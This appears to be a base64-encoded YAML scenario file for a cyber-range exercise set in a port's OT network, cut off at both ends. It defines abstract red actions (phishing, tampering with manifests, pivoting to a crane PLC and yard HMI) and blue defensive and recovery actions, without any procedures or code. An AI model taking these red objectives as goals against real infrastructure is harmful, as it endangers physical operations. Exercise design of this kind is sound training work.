c2NyaXB0aW9uOiBBdHRlbXB0IEluc3BlY3QgYWdhaW5zdCB0aGUgc2NlbmFyaW8tZGVjbGFyZWQgc3ViamVjdCBzZXQuCiAgICAgIHRhcmdldF9yZWZzOgogICAgICAtIGJhY2t1cC12YXVsdAogICAgICAtIGNhbWVyYS1hbmFseXRpY3MKICAgICAgLSBoaXN0b3JpYW4tcmVwbGljYXRlcy1iYWNrdXAKICAgICAgLSBoaXN0b3JpYW4wMQogICAgICAtIGluZnJhc3RydWN0dXJlLnlhcmQtb3QuYWNscy5hbGxvdy15YXJkLWNvbnRyb2wKICAgICAgLSBub2Rlcy5jcmFuZS1wbGMuc2VydmljZXMuY3JhbmUtb3BjdWEKICAgICAgLSBub2Rlcy5oaXN0b3JpYW4wMS5zZXJ2aWNlcy5oaXN0b3JpYW4tdWkKICAgICAgLSB5YXJkLWhtaQogICAgZmFpbHVyZV9jbGFzc2VzOgogICAgLSBhdXRob3JpdHlfZGVuaWVkCiAgICAtIHRhcmdldF91bmF2YWlsYWJsZQogICAgLSB1bmtub3duCiAgaXNvbGF0ZToKICAgIHNlbWFudGljX3ZlcnNpb246IDEuMC4wCiAgICBiZWhhdmlvcmFsX2dyYW51bGFyaXR5OiBhdG9taWMKICAgIHByb2NlZHVyZV9iYXNpczogU2NlbmFyaW8tZGVjbGFyZWQgSXNvbGF0ZSBpbnRlbnQKICAgIHJlYWxpemF0aW9uX3Byb2ZpbGU6IGFic3RyYWN0CiAgICBmaWRlbGl0eV9jbGFpbTogUG9ydGFibGUgaW50ZW50IG9ubHk7IG5vIGJhY2tlbmQgcHJvY2VkdXJlLCBzdWNjZXNzZnVsIGVmZmVjdCwgb3IgYXV0aG9yaXR5IGlzIGFzc2VydGVkLgogICAgcHJlY29uZGl0aW9uczoKICAgIC0gcHJlY29uZGl0aW9uX2lkOiBhdXRob3JpemVkCiAgICAgIHByZWNvbmRpdGlvbl9jbGFzczogYXV0aG9yaXR5CiAgICAgIGRlc2NyaXB0aW9uOiBJbmRlcGVuZGVudCBhdXRob3JpemF0aW9uIGlzIHJlcXVpcmVkIGJlZm9yZSBhbnkgcmVhbGl6YXRpb24uCiAgICBlZmZlY3RzOgogICAgLSBlZmZlY3RfaWQ6IGludGVuZGVkCiAgICAgIGVmZmVjdF9jbGFzczogaW50ZW5kZWRfZWZmZWN0CiAgICAgIGRlc2NyaXB0aW9uOiBBdHRlbXB0IElzb2xhdGUgYWdhaW5zdCB0aGUgc2NlbmFyaW8tZGVjbGFyZWQgc3ViamVjdCBzZXQuCiAgICAgIHRhcmdldF9yZWZzOgogICAgICAtIGJhY2t1cC12YXVsdAogICAgICAtIGhpc3Rvcmlhbi1yZXBsaWNhdGVzLWJhY2t1cAogICAgICAtIGhpc3RvcmlhbjAxCiAgICAgIC0gaW5mcmFzdHJ1Y3R1cmUueWFyZC1vdC5hY2xzLmFsbG93LXlhcmQtY29udHJvbAogICAgICAtIG5vZGVzLmNyYW5lLXBsYy5zZXJ2aWNlcy5jcmFuZS1vcGN1YQogICAgICAtIHlhcmQtaG1pCiAgICBmYWlsdXJlX2NsYXNzZXM6CiAgICAtIGF1dGhvcml0eV9kZW5pZWQKICAgIC0gdGFyZ2V0X3VuYXZhaWxhYmxlCiAgICAtIHVua25vd24KICBtb25pdG9yOgogICAgc2VtYW50aWNfdmVyc2lvbjogMS4wLjAKICAgIGJlaGF2aW9yYWxfZ3JhbnVsYXJpdHk6IGF0b21pYwogICAgcHJvY2VkdXJlX2Jhc2lzOiBTY2VuYXJpby1kZWNsYXJlZCBNb25pdG9yIGludGVudAogICAgcmVhbGl6YXRpb25fcHJvZmlsZTogYWJzdHJhY3QKICAgIGZpZGVsaXR5X2NsYWltOiBQb3J0YWJsZSBpbnRlbnQgb25seTsgbm8gYmFja2VuZCBwcm9jZWR1cmUsIHN1Y2Nlc3NmdWwgZWZmZWN0LCBvciBhdXRob3JpdHkgaXMgYXNzZXJ0ZWQuCiAgICBwcmVjb25kaXRpb25zOgogICAgLSBwcmVjb25kaXRpb25faWQ6IGF1dGhvcml6ZWQKICAgICAgcHJlY29uZGl0aW9uX2NsYXNzOiBhdXRob3JpdHkKICAgICAgZGVzY3JpcHRpb246IEluZGVwZW5kZW50IGF1dGhvcml6YXRpb24gaXMgcmVxdWlyZWQgYmVmb3JlIGFueSByZWFsaXphdGlvbi4KICAgIGVmZmVjdHM6CiAgICAtIGVmZmVjdF9pZDogaW50ZW5kZWQKICAgICAgZWZmZWN0X2NsYXNzOiBpbnRlbmRlZF9lZmZlY3QKICAgICAgZGVzY3JpcHRpb246IEF0dGVtcHQgTW9uaXRvciBhZ2FpbnN0IHRoZSBzY2VuYXJpby1kZWNsYXJlZCBzdWJqZWN0IHNldC4KICAgICAgdGFyZ2V0X3JlZnM6CiAgICAgIC0gY3VzdG9tcy1mZWRlcmF0ZXMtcG9ydAogICAgICAtIGN1c3RvbXMtZ2F0ZXdheQogICAgICAtIG1hbmlmZXN0LWRiCiAgICBmYWlsdXJlX2NsYXNzZXM6CiAgICAtIGF1dGhvcml0eV9kZW5pZWQKICAgIC0gdGFyZ2V0X3VuYXZhaWxhYmxlCiAgICAtIHVua25vd24KICBwaGlzaDoKICAgIHNlbWFudGljX3ZlcnNpb246IDEuMC4wCiAgICBiZWhhdmlvcmFsX2dyYW51bGFyaXR5OiBhdG9taWMKICAgIHByb2NlZHVyZV9iYXNpczogU2NlbmFyaW8tZGVjbGFyZWQgUGhpc2ggaW50ZW50CiAgICByZWFsaXphdGlvbl9wcm9maWxlOiBhYnN0cmFjdAogICAgZmlkZWxpdHlfY2xhaW06IFBvcnRhYmxlIGludGVudCBvbmx5OyBubyBiYWNrZW5kIHByb2NlZHVyZSwgc3VjY2Vzc2Z1bCBlZmZlY3QsIG9yIGF1dGhvcml0eSBpcyBhc3NlcnRlZC4KICAgIHByZWNvbmRpdGlvbnM6CiAgICAtIHByZWNvbmRpdGlvbl9pZDogYXV0aG9yaXplZAogICAgICBwcmVjb25kaXRpb25fY2xhc3M6IGF1dGhvcml0eQogICAgICBkZXNjcmlwdGlvbjogSW5kZXBlbmRlbnQgYXV0aG9yaXphdGlvbiBpcyByZXF1aXJlZCBiZWZvcmUgYW55IHJlYWxpemF0aW9uLgogICAgZWZmZWN0czoKICAgIC0gZWZmZWN0X2lkOiBpbnRlbmRlZAogICAgICBlZmZlY3RfY2xhc3M6IGludGVuZGVkX2VmZmVjdAogICAgICBkZXNjcmlwdGlvbjogQXR0ZW1wdCBQaGlzaCBhZ2FpbnN0IHRoZSBzY2VuYXJpby1kZWNsYXJlZCBzdWJqZWN0IHNldC4KICAgICAgdGFyZ2V0X3JlZnM6CiAgICAgIC0gY2FyZ28tbWFuaWZlc3RzCiAgICAgIC0gbWFuaWZlc3QtZGIKICAgICAgLSBwb3J0YWwtdG8tbWFuaWZlc3QKICAgIGZhaWx1cmVfY2xhc3NlczoKICAgIC0gYXV0aG9yaXR5X2RlbmllZAogICAgLSB0YXJnZXRfdW5hdmFpbGFibGUKICAgIC0gdW5rbm93bgogIHBpdm90OgogICAgc2VtYW50aWNfdmVyc2lvbjogMS4wLjAKICAgIGJlaGF2aW9yYWxfZ3JhbnVsYXJpdHk6IGF0b21pYwogICAgcHJvY2VkdXJlX2Jhc2lzOiBTY2VuYXJpby1kZWNsYXJlZCBQaXZvdCBpbnRlbnQKICAgIHJlYWxpemF0aW9uX3Byb2ZpbGU6IGFic3RyYWN0CiAgICBmaWRlbGl0eV9jbGFpbTogUG9ydGFibGUgaW50ZW50IG9ubHk7IG5vIGJhY2tlbmQgcHJvY2VkdXJlLCBzdWNjZXNzZnVsIGVmZmVjdCwgb3IgYXV0aG9yaXR5IGlzIGFzc2VydGVkLgogICAgcHJlY29uZGl0aW9uczoKICAgIC0gcHJlY29uZGl0aW9uX2lkOiBhdXRob3JpemVkCiAgICAgIHByZWNvbmRpdGlvbl9jbGFzczogYXV0aG9yaXR5CiAgICAgIGRlc2NyaXB0aW9uOiBJbmRlcGVuZGVudCBhdXRob3JpemF0aW9uIGlzIHJlcXVpcmVkIGJlZm9yZSBhbnkgcmVhbGl6YXRpb24uCiAgICBlZmZlY3RzOgogICAgLSBlZmZlY3RfaWQ6IGludGVuZGVkCiAgICAgIGVmZmVjdF9jbGFzczogaW50ZW5kZWRfZWZmZWN0CiAgICAgIGRlc2NyaXB0aW9uOiBBdHRlbXB0IFBpdm90IGFnYWluc3QgdGhlIHNjZW5hcmlvLWRlY2xhcmVkIHN1YmplY3Qgc2V0LgogICAgICB0YXJnZXRfcmVmczoKICAgICAgLSBzaGlwcGluZy1wb3J0YWwKICAgICAgLSB2ZW5kb3ItanVtcAogICAgICAtIHlhcmQtaG1pCiAgICBmYWlsdXJlX2NsYXNzZXM6CiAgICAtIGF1dGhvcml0eV9kZW5pZWQKICAgIC0gdGFyZ2V0X3VuYXZhaWxhYmxlCiAgICAtIHVua25vd24KICByZWNvdmVyOgogICAgc2VtYW50aWNfdmVyc2lvbjogMS4wLjAKICAgIGJlaGF2aW9yYWxfZ3JhbnVsYXJpdHk6IGF0b21pYwogICAgcHJvY2VkdXJlX2Jhc2lzOiBTY2VuYXJpby1kZWNsYXJlZCBSZWNvdmVyIGludGVudAogICAgcmVhbGl6YXRpb25fcHJvZmlsZTogYWJzdHJhY3QKICAgIGZpZGVsaXR5X2NsYWltOiBQb3J0YWJsZSBpbnRlbnQgb25seTsgbm8gYmFja2VuZCBwcm9jZWR1cmUsIHN1Y2Nlc3NmdWwgZWZmZWN0LCBvciBhdXRob3JpdHkgaXMgYXNzZXJ0ZWQuCiAgICBwcmVjb25kaXRpb25zOgogICAgLSBwcmVjb25kaXRpb25faWQ6IGF1dGhvcml6ZWQKICAgICAgcHJlY29uZGl0aW9uX2NsYXNzOiBhdXRob3JpdHkKICAgICAgZGVzY3JpcHRpb246IEluZGVwZW5kZW50IGF1dGhvcml6YXRpb24gaXMgcmVxdWlyZWQgYmVmb3JlIGFueSByZWFsaXphdGlvbi4KICAgIGVmZmVjdHM6CiAgICAtIGVmZmVjdF9pZDogaW50ZW5kZWQKICAgICAgZWZmZWN0X2NsYXNzOiBpbnRlbmRlZF9lZmZlY3QKICAgICAgZGVzY3JpcHRpb246IEF0dGVtcHQgUmVjb3ZlciBhZ2FpbnN0IHRoZSBzY2VuYXJpby1kZWNsYXJlZCBzdWJqZWN0IHNldC4KICAgICAgdGFyZ2V0X3JlZnM6CiAgICAgIC0gc2hpcHBpbmctcG9ydGFsCiAgICAgIC0gc29jMDEKICAgICAgLSB0ZXJtaW5hbC1vcHMKICAgIGZhaWx1cmVfY2xhc3NlczoKICAgIC0gYXV0aG9yaXR5X2RlbmllZAogICAgLSB0YXJnZXRfdW5hdmFpbGFibGUKICAgIC0gdW5rbm93bgogIHJlc3RvcmU6CiAgICBzZW1hbnRpY192ZXJzaW9uOiAxLjAuMAogICAgYmVoYXZpb3JhbF9ncmFudWxhcml0eTogYXRvbWljCiAgICBwcm9jZWR1cmVfYmFzaXM6IFNjZW5hcmlvLWRlY2xhcmVkIFJlc3RvcmUgaW50ZW50CiAgICByZWFsaXphdGlvbl9wcm9maWxlOiBhYnN0cmFjdAogICAgZmlkZWxpdHlfY2xhaW06IFBvcnRhYmxlIGludGVudCBvbmx5OyBubyBiYWNrZW5kIHByb2NlZHVyZSwgc3VjY2Vzc2Z1bCBlZmZlY3QsIG9yIGF1dGhvcml0eSBpcyBhc3NlcnRlZC4KICAgIHByZWNvbmRpdGlvbnM6CiAgICAtIHByZWNvbmRpdGlvbl9pZDogYXV0aG9yaXplZAogICAgICBwcmVjb25kaXRpb25fY2xhc3M6IGF1dGhvcml0eQogICAgICBkZXNjcmlwdGlvbjogSW5kZXBlbmRlbnQgYXV0aG9yaXphdGlvbiBpcyByZXF1aXJlZCBiZWZvcmUgYW55IHJlYWxpemF0aW9uLgogICAgZWZmZWN0czoKICAgIC0gZWZmZWN0X2lkOiBpbnRlbmRlZAogICAgICBlZmZlY3RfY2xhc3M6IGludGVuZGVkX2VmZmVjdAogICAgICBkZXNjcmlwdGlvbjogQXR0ZW1wdCBSZXN0b3JlIGFnYWluc3QgdGhlIHNjZW5hcmlvLWRlY2xhcmVkIHN1YmplY3Qgc2V0LgogICAgICB0YXJnZXRfcmVmczoKICAgICAgLSBiYWNrdXAtdmF1bHQKICAgICAgLSBoaXN0b3JpYW4tcmVwbGljYXRlcy1iYWNrdXAKICAgICAgLSBoaXN0b3JpYW4wMQogICAgICAtIGluZnJhc3RydWN0dXJlLnlhcmQtb3QuYWNscy5hbGxvdy15YXJkLWNvbnRyb2wKICAgICAgLSBub2Rlcy5jcmFuZS1wbGMuc2VydmljZXMuY3JhbmUtb3BjdWEKICAgICAgLSB5YXJkLWhtaQogICAgZmFpbHVyZV9jbGFzc2VzOgogICAgLSBhdXRob3JpdHlfZGVuaWVkCiAgICAtIHRhcmdldF91bmF2YWlsYWJsZQogICAgLSB1bmtub3duCiAgdGFtcGVyOgogICAgc2VtYW50aWNfdmVyc2lvbjogMS4wLjAKICAgIGJlaGF2aW9yYWxfZ3JhbnVsYXJpdHk6IGF0b21pYwogICAgcHJvY2VkdXJlX2Jhc2lzOiBTY2VuYXJpby1kZWNsYXJlZCBUYW1wZXIgaW50ZW50CiAgICByZWFsaXphdGlvbl9wcm9maWxlOiBhYnN0cmFjdAogICAgZmlkZWxpdHlfY2xhaW06IFBvcnRhYmxlIGludGVudCBvbmx5OyBubyBiYWNrZW5kIHByb2NlZHVyZSwgc3VjY2Vzc2Z1bCBlZmZlY3QsIG9yIGF1dGhvcml0eSBpcyBhc3NlcnRlZC4KICAgIHByZWNvbmRpdGlvbnM6CiAgICAtIHByZWNvbmRpdGlvbl9pZDogYXV0aG9yaXplZAogICAgICBwcmVjb25kaXRpb25fY2xhc3M6IGF1dGhvcml0eQogICAgICBkZXNjcmlwdGlvbjogSW5kZXBlbmRlbnQgYXV0aG9yaXphdGlvbiBpcyByZXF1aXJlZCBiZWZvcmUgYW55IHJlYWxpemF0aW9uLgogICAgZWZmZWN0czoKICAgIC0gZWZmZWN0X2lkOiBpbnRlbmRlZAogICAgICBlZmZlY3RfY2xhc3M6IGludGVuZGVkX2VmZmVjdAogICAgICBkZXNjcmlwdGlvbjogQXR0ZW1wdCBUYW1wZXIgYWdhaW5zdCB0aGUgc2NlbmFyaW8tZGVjbGFyZWQgc3ViamVjdCBzZXQuCiAgICAgIHRhcmdldF9yZWZzOgogICAgICAtIGNhcmdvLW1hbmlmZXN0cwogICAgICAtIG1hbmlmZXN0LWRiCiAgICAgIC0gcG9ydGFsLXRvLW1hbmlmZXN0CiAgICBmYWlsdXJlX2NsYXNzZXM6CiAgICAtIGF1dGhvcml0eV9kZW5pZWQKICAgIC0gdGFyZ2V0X3VuYXZhaWxhYmxlCiAgICAtIHVua25vd24KICB0cmlhZ2U6CiAgICBzZW1hbnRpY192ZXJzaW9uOiAxLjAuMAogICAgYmVoYXZpb3JhbF9ncmFudWxhcml0eTogYXRvbWljCiAgICBwcm9jZWR1cmVfYmFzaXM6IFNjZW5hcmlvLWRlY2xhcmVkIFRyaWFnZSBpbnRlbnQKICAgIHJlYWxpemF0aW9uX3Byb2ZpbGU6IGFic3RyYWN0CiAgICBmaWRlbGl0eV9jbGFpbTogUG9ydGFibGUgaW50ZW50IG9ubHk7IG5vIGJhY2tlbmQgcHJvY2VkdXJlLCBzdWNjZXNzZnVsIGVmZmVjdCwgb3IgYXV0aG9yaXR5IGlzIGFzc2VydGVkLgogICAgcHJlY29uZGl0aW9uczoKICAgIC0gcHJlY29uZGl0aW9uX2lkOiBhdXRob3JpemVkCiAgICAgIHByZWNvbmRpdGlvbl9jbGFzczogYXV0aG9yaXR5CiAgICAgIGRlc2NyaXB0aW9uOiBJbmRlcGVuZGVudCBhdXRob3JpemF0aW9uIGlzIHJlcXVpcmVkIGJlZm9yZSBhbnkgcmVhbGl6YXRpb24uCiAgICBlZmZlY3RzOgogICAgLSBlZmZlY3RfaWQ6IGludGVuZGVkCiAgICAgIGVmZmVjdF9jbGFzczogaW50ZW5kZWRfZWZmZWN0CiAgICAgIGRlc2NyaXB0aW9uOiBBdHRlbXB0IFRyaWFnZSBhZ2FpbnN0IHRoZSBzY2VuYXJpby1kZWNsYXJlZCBzdWJqZWN0IHNldC4KICAgICAgdGFyZ2V0X3JlZnM6CiAgICAgIC0gY3VzdG9tcy1mZWRlcmF0ZXMtcG9ydAogICAgICAtIGN1c3RvbXMtZ2F0ZXdheQogICAgICAtIG1hbmlmZXN0LWRiCiAgICBmYWlsdXJlX2NsYXNzZXM6CiAgICAtIGF1dGhvcml0eV9kZW5pZWQKICAgIC0gdGFyZ2V0X3VuYXZhaWxhYmxlCiAgICAtIHVua25vd24KICB2YWxpZGF0ZToKICAgIHNlbWFudGljX3ZlcnNpb246IDEuMC4wCiAgICBiZWhhdmlvcmFsX2dyYW51bGFyaXR5OiBhdG9taWMKICAgIHByb2NlZHVyZV9iYXNpczogU2NlbmFyaW8tZGVjbGFyZWQgVmFsaWRhdGUgaW50ZW50CiAgICByZWFsaXphdGlvbl9wcm9maWxlOiBhYnN0cmFjdAogICAgZmlkZWxpdHlfY2xhaW06IFBvcnRhYmxlIGludGVudCBvbmx5OyBubyBiYWNrZW5kIHByb2NlZHVyZSwgc3VjY2Vzc2Z1bCBlZmZlY3QsIG9yIGF1dGhvcml0eSBpcyBhc3NlcnRlZC4KICAgIHByZWNvbmRpdGlvbnM6CiAgICAtIHByZWNvbmRpdGlvbl9pZDogYXV0aG9yaXplZAogICAgICBwcmVjb25kaXRpb25fY2xhc3M6IGF1dGhvcml0eQogICAgICBkZXNjcmlwdGlvbjogSW5kZXBlbmRlbnQgYXV0aG9yaXphdGlvbiBpcyByZXF1aXJlZCBiZWZvcmUgYW55IHJlYWxpemF0aW9uLgogICAgZWZmZWN0czoKICAgIC0gZWZmZWN0X2lkOiBpbnRlbmRlZAogICAgICBlZmZlY3RfY2xhc3M6IGludGVuZGVkX2VmZmVjdAogICAgICBkZXNjcmlwdGlvbjogQXR0ZW1wdCBWYWxpZGF0ZSBhZ2FpbnN0IHRoZSBzY2VuYXJpby1kZWNsYXJlZCBzdWJqZWN0IHNldC4KICAgICAgdGFyZ2V0X3JlZnM6CiAgICAgIC0gYmFja3VwLXZhdWx0CiAgICAgIC0gY2FtZXJhLWFuYWx5dGljcwogICAgICAtIGhpc3Rvcmlhbi1yZXBsaWNhdGVzLWJhY2t1cAogICAgICAtIGhpc3RvcmlhbjAxCiAgICAgIC0gaW5mcmFzdHJ1Y3R1cmUueWFyZC1vdC5hY2xzLmFsbG93LXlhcmQtY29udHJvbAogICAgICAtIG5vZGVzLmNyYW5lLXBsYy5zZXJ2aWNlcy5jcmFuZS1vcGN1YQogICAgICAtIG5vZGVzLmhpc3RvcmlhbjAxLnNlcnZpY2VzLmhpc3Rvcmlhbi11aQogICAgICAtIHlhcmQtaG1pCiAgICBmYWlsdXJlX2NsYXNzZXM6CiAgICAtIGF1dGhvcml0eV9kZW5pZWQKICAgIC0gdGFyZ2V0X3VuYXZhaWxhYmxlCiAgICAtIHVua25vd24KYWdlbnRzOgogIHJlZC15YXJkLWFnZW50OgogICAgYWZmaWxpYXRpb25zOiBbcmVkLWNhcnRlbF0KICAgIGFjdGlvbnM6CiAgICAtIHBoaXNoCiAgICAtIHRhbXBlcgogICAgLSBkaXNhYmxlCiAgICAtIHBpdm90CiAgICBpbml0aWFsX2tub3dsZWRnZToKICAgICAgaG9zdHM6CiAgICAgIC0gc2hpcHBpbmctcG9ydGFsCiAgICAgIC0gdmVuZG9yLWp1bXAKICAgICAgLSB5YXJkLWhtaQogICAgICBzdWJuZXRzOgogICAgICAtIHB1YmxpYy1lZGdlCiAgICAgIC0gdmVuZG9yLW5ldAogICAgICAtIHlhcmQtb3QKICAgICAgc2VydmljZXM6CiAgICAgIC0gc2hpcHBpbmctcG9ydGFsLWh0dHBzCiAgICAgIC0gdmVuZG9yLWp1bXAtc3NoCiAgICAgIC0geWFyZC1obWktd2ViCiAgICAgIGFjY291bnRzOgogICAgICAtIHZlbmRvci10ZWNoCiAgICBhbGxvd2VkX3N1Ym5ldHM6CiAgICAtIHB1YmxpYy1lZGdlCiAgICAtIHZlbmRvci1uZXQKICAgIC0geWFyZC1vdAogICAgLSB0ZXJtaW5hbC1pdAogIGJsdWUteWFyZC1hZ2VudDoKICAgIGFmZmlsaWF0aW9uczogW3BvcnQtYmx1ZS55YXJkLW9wc10KICAgIGFjdGlvbnM6CiAgICAtIGluc3BlY3QKICAgIC0gaXNvbGF0ZQogICAgLSByZXN0b3JlCiAgICAtIHZhbGlkYXRlCiAgICBzdGFydGluZ19hY2NvdW50czoKICAgIC0gY3JhbmUtb3BlcmF0b3IKICAgIGluaXRpYWxfa25vd2xlZGdlOgogICAgICBob3N0czoKICAgICAgLSB5YXJkLWhtaQogICAgICAtIGNyYW5lLXBsYwogICAgICAtIGhpc3RvcmlhbjAxCiAgICAgIHN1Ym5ldHM6CiAgICAgIC0geWFyZC1vdAogICAgICAtIGJhY2t1cC1uZXQKICAgICAgLSBzYWZldHktbmV0CiAgICAgIHNlcnZpY2VzOgogICAgICAtIHlhcmQtaG1pLXJkcAogICAgICAtIGNyYW5lLW9wY3VhCiAgICAgIC0gaGlzdG9yaWFuLXVpCiAgICAgIGFjY291bnRzOgogICAgICAtIGhpc3Rvcmlhbi1zdmMKICAgIGFsbG93ZWRfc3VibmV0czoKICAgIC0geWFyZC1vdAogICAgLSBzYWZldHktbmV0CiAgICAtIGJhY2t1cC1uZXQKICBibHVlLXNvYy1hZ2VudDoKICAgIGFmZmlsaWF0aW9uczogW3BvcnQtYmx1ZS5pbmNpZGVudC1jb21tYW5kXQogICAgYWN0aW9uczoKICAgIC0gbW9uaXRvcgogICAgLSB0cmlhZ2UKICAgIC0gY29vcmRpbmF0ZQogICAgLSByZWNvdmVyCiAgICBzdGFydGluZ19hY2NvdW50czoKICAgIC0gc29jLWFuYWx5c3QKICAgIGluaXRpYWxfa25vd2xlZGdlOgogICAgICBob3N0czoKICAgICAgLSBzb2MwMQogICAgICAtIHNoaXBwaW5nLXBvcnRhbAogICAgICAtIHRlcm1pbmFsLW9wcwogICAgICBzdWJuZXRzOgogICAgICAtIHNlY3VyaXR5LW5ldAogICAgICAtIHRlcm1pbmFsLWl0CiAgICAgIHNlcnZpY2VzOgogICAgICAtIHBvcnQtc29jLXVpCiAgICAgIC0gc2hpcHBpbmctcG9ydGFsLWh0dHBzCiAgICAgIC0gdG9zLWh0dHBzCiAgICAgIGFjY291bnRzOgogICAgICAtIGhhcmJvci1tYXN0ZXIKICAgICAgLSBjdXN0b21zLW9mZmljZXIKICAgIGFsbG93ZWRfc3VibmV0czoKICAgIC0gc2VjdXJpdHktbmV0CiAgICAtIHRlcm1pbmFsLWl0CiAgICAtIGN1c3RvbXMtbGluawogICAgLSBiYWNrdXAtbmV0Cm9iamVjdGl2ZXM6CiAgcmVkLWNvcnJ1cHQtbWFuaWZlc3RzOgogICAgYXNzaWduZWRfcGFydGljaXBhbnQ6IHJlZC15YXJkLWFnZW50CiAgICBhY3Rpb25zOgogICAgLSBwaGlzaAogICAgLSB0YW1wZXIKICAgIHRhcmdldHM6CiAgICAtIGNhcmdvLW1hbmlmZXN0cwogICAgLSBtYW5pZmVzdC1kYgogICAgLSBwb3J0YWwtdG8tbWFuaWZlc3QKICAgIHN1Y2Nlc3M6CiAgICAgIGFzc2VydGlvbnM6CiAgICAgIC0gdGFtcGVyZWQtbWFuaWZlc3Qtb2JzZXJ2ZWQKICAgIHdpbmRvdzoKICAgICAgc3RvcmllczoKICAgICAgLSBzdXJnZS1kYXkKICAgICAgc2NyaXB0czoKICAgICAgLSBhcnJpdmFsLXBoYXNlCiAgICAgIC0gY3VzdG9tcy1zdXJnZS1waGFzZQogIHJlZC1kZWdyYWRlLXlhcmQtb3BzOgogICAgb3duZXI6IHJlZC1jYXJ0ZWwKICAgIHRhcmdldHM6CiAgICAtIHlhcmQtaG1pCiAgICAtIGNyYW5lLXBsYwogICAgLSBobWktbWFuYWdlcy1jcmFuZQogICAgc3VjY2VzczoKICAgICAgYXNzZXJ0aW9uczoKICAgICAgLSB0YW1wZXJlZC1tYW5pZmVzdC1vYnNlcnZlZAogICAgd2luZG93OgogICAgICBzdG9yaWVzOgogICAgICAtIHN1cmdlLWRheQogICAgICBzY3JpcHRzOgogICAgICAtIHlhcmQtZGlzcnVwdGlvbi1waGFzZQogICAgICBldmVudHM6CiAgICAgIC0geWFyZC1zdGFuZGRvd24KICAgIGRlcGVuZHNfb246CiAgICAtIHJlZC1jb3JydXB0LW1hbmlmZXN0cwogIGJsdWUtbWFpbnRhaW4tY3VzdG9tcy1pbnRlZ3JpdHk6CiAgICBhc3NpZ25lZF9wYXJ0aWNpcGFudDogYmx1ZS1zb2MtYWdlbnQKICAgIGFjdGlvbnM6CiAgICAtIG1vbml0b3IKICAgIC0gdHJpYWdlCiAgICAtIGNvb3JkaW5hdGUKICAgIHRhcmdldHM6CiAgICAtIGN1c3RvbXMtZ2F0ZXdheQogICAgLSBtYW5pZmVzdC1kYgogICAgLSBjdXN0b21zLWZlZGVyYXRlcy1wb3J0CiAgICBzdWNjZXNzOgogICAgICBhc3NlcnRpb25zOgogICAgICAtIGN1c3RvbXMtbGluay1oZWFsdGh5CiAgICAgIC0gbWFuaWZlc3QtaW50ZWdyaXR5LW9rCiAgICB3aW5kb3c6CiAgICAgIHN0b3JpZXM6CiAgICAgIC0gc3VyZ2UtZGF5CiAgICAgIHNjcmlwdHM6CiAgICAgIC0gYXJyaXZhbC1waGFzZQogICAgICAtIGN1c3RvbXMtc3VyZ2UtcGhhc2UKICAgICAgd29ya2Zsb3dzOgogICAgICAtIHlhcmQtcmVjb3ZlcnkKICAgICAgc3RlcHM6CiAgICAgIC0geWFyZC1yZWNvdmVyeS5tYWludGFpbi1pbnRlZ3JpdHkKICBibHVlLWJsYWNrc3RhcnQteWFyZDoKICAgIGFzc2lnbmVkX3BhcnRpY2lwYW50OiBibHVlLXlhcmQtYWdlbnQKICAgIGFjdGlvbnM6CiAgICAtIGluc3BlY3QKICAgIC0gaXNvbGF0ZQogICAgLSByZXN0b3JlCiAgICAtIHZhbGlkYXRlCiAgICB0YXJnZXRzOgogICAgLSBiYWNrdXAtdmF1bHQKICAgIC0gaGlzdG9yaWFuMDEKICAgIC0geWFyZC1obWkKICAgIC0gaGlzdG9yaWFuLXJlcGxpY2F0ZXMtYmFja3VwCiAgICAtIG5vZGVzLmNyYW5lLXBsYy5zZXJ2aWNlcy5jcmFuZS1vcGN1YQogICAgLSBpbmZyYXN0cnVjdHVyZS55YXJkLW90LmFjbHMuYWxsb3cteWFyZC1jb250cm9sCiAgICBzdWNjZXNzOgogICAgICBhc3NlcnRpb25zOgogICAgICAtIGNyYW5lLXNhZmUtbW9kZQogICAgICAtIHlhcmQtdGVsZW1ldHJ5LWZsb3dpbmcKICAgIHdpbmRvdzoKICAgICAgc3RvcmllczoKICAgICAgLSBzdXJnZS1kYXkKICAgICAgc2NyaXB0czoKICAgICAgLSB5YXJkLWRpc3J1cHRpb24tcGhhc2UKICAgICAgZXZlbnRzOgogICAgICAtIHlhcmQtc3RhbmRkb3duCiAgICAgIHdvcmtmbG93czoKICAgICAgLSB5YXJkLXJlY292ZXJ5CiAgICAgIHN0ZXBzOgogICAgICAtIHlhcmQtcmVjb3ZlcnkucmVzdG9yZS15YXJkCiAgICBkZXBlbmRzX29uOgogICAgLSBibHVlLW1haW50YWluLWN1c3RvbXMtaW50ZWdyaXR5CiAgICAtIHJlZC1kZWdyYWRlLXlhcmQtb3BzCiAgYmx1ZS12YWxpZGF0ZS15YXJkLXRlbGVtZXRyeToKICAgIGFzc2lnbmVkX3BhcnRpY2lwYW50OiBibHVlLXlhcmQtYWdlbnQKICAgIGFjdGlvbnM6CiAgICAtIGluc3BlY3QKICAgIC0gdmFsaWRhdGUKICAgIHRhcmdldHM6CiAgICAtIGhpc3RvcmlhbjAxCiAgICAtIGNhbWVyYS1hbmFseXRpY3MKICAgIC0gbm9kZXMuaGlzdG9yaWFuMDEuc2VydmljZXMuaGlzdG9yaWFuLXVpCiAgICAtIGluZnJhc3RydWN0dXJlLnlhcmQtb3QuYWNscy5hbGxvdy15YXJkLWNvbnRyb2wKICAgIHN1Y2Nlc3M6CiAgICAgIGFzc2VydGlvbnM6CiAgICAgIC0geWFyZC10ZWxlbWV0cnktZmxvd2luZwogICAgICAtIGhpc3Rvcmlhbi1yZXBsaWNhdGlvbi1vawogICAgd2luZG93OgogICAgICBzdG9yaWVzOgogICAgICAtIHN1cmdlLWRheQogICAgICBzY3JpcHRzOgogICAgICAtIHlhcmQtZGlzcnVwdGlvbi1waGFzZQogICAgICBldmVudHM6CiAgICAgIC0geWFyZC1zdGFuZGRvd24KICAgICAgd29ya2Zsb3dzOgogICAgICAtIHlhcmQtcmVjb3ZlcnkKICAgICAgc3RlcHM6CiAgICAgIC0geWFyZC1yZWNvdmVyeS52YWxpZGF0ZS10ZWxlbWV0cnkKICAgIGRlcGVuZHNfb246CiAgICAtIHJlZC1kZWdyYWRlLXlhcmQtb3BzCndvcmtmbG93czoKICB5YXJkLXJlY292ZXJ5OgogICAgZGVzY3JpcHRpb246ICdSZWNvdmVyeSB3b3JrZmxvdyB0aGF0IHByZXNlcnZlcyBjdXN0b21zIGludGVncml0eSwgYnJhbmNoZXMgaW50bwogICAgICBibGFja3N0YXJ0LXN0eWxlIE9UIHJlY292ZXJ5IHdoZW4gdGFtcGVyaW5nIGlzIG9ic2VydmVkLCBhbmQgam9pbnMgeWFyZCByZXN0b3JhdGlvbgogICAgICB3a